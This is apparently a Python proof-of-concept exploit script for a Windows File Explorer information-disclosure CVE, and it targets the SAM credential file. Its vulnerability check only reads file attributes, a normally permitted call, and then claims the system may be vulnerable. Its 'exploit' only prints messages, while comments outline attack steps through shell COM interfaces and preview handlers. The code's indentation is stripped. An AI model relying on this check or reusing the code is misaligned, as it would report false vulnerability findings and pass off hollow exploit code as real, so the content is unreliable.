The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2026-20932 PoC - Windows File Explorer Information Disclosure
Note: This is a conceptual PoC for educational and security research purposes only.
"""
import ctypes
import os
import sys
class CVE_2026_20932_POC:
def __init__(self):
self.target_file = r"C:\Windows\System32\config\SAM" # Sensitive file example
self.results = []
def check_vulnerability(self):
"""
Check if the system is vulnerable to CVE-2026-20932
This checks if File Explorer improperly exposes file metadata/content
"""
print("[*] Checking vulnerability status for CVE-2026-20932")
print(f"[*] Target: {self.target_file}")
# Check if target file exists and we can get its info
if os.path.exists(self.target_file):
print("[+] Target file exists")
# Try to read file attributes using Windows API
try:
# Using ctypes to call Windows API
FILE_ATTRIBUTE_HIDDEN = 0x2
FILE_ATTRIBUTE_SYSTEM = 0x4
# GetFileAttributesW API call
attributes = ctypes.windll.kernel32.GetFileAttributesW(self.target_file)
if attributes != -1:
print(f"[+] File attributes retrieved: {hex(attributes)}")
print("[+] Vulnerability may be present - low privilege access to sensitive file")
return True
except Exception as e:
print(f"[-] Error: {e}")
else:
print("[-] Target file not found")
return False
def exploit(self):
"""
Conceptual exploitation of CVE-2026-20932
Note: Actual exploitation requires specific Windows API manipulation
"""
if not self.check_vulnerability():
print("[-] System may not be vulnerable")
return False
print("\n[*] Simulating File Explorer information disclosure...")
print("[*] This would trigger File Explorer to load file content/metadata")
print("[*] Without proper permission checks, sensitive data could be exposed")
# The actual exploit would involve:
# 1. Using IShellFolder or IExtractIcon COM interfaces
# 2. Calling SHGetFileInfo with specific flags
# 3. Triggering thumbnail generation for protected files
# 4. Exploiting preview handler vulnerabilities
print("[!] This PoC demonstrates the vulnerability concept only")
print("[!] Do not use for unauthorized testing")
return True
if __name__ == "__main__":
if os.name != 'nt':
print("[-] This PoC only works on Windows systems")
sys.exit(1)
poc = CVE_2026_20932_POC()
poc.exploit()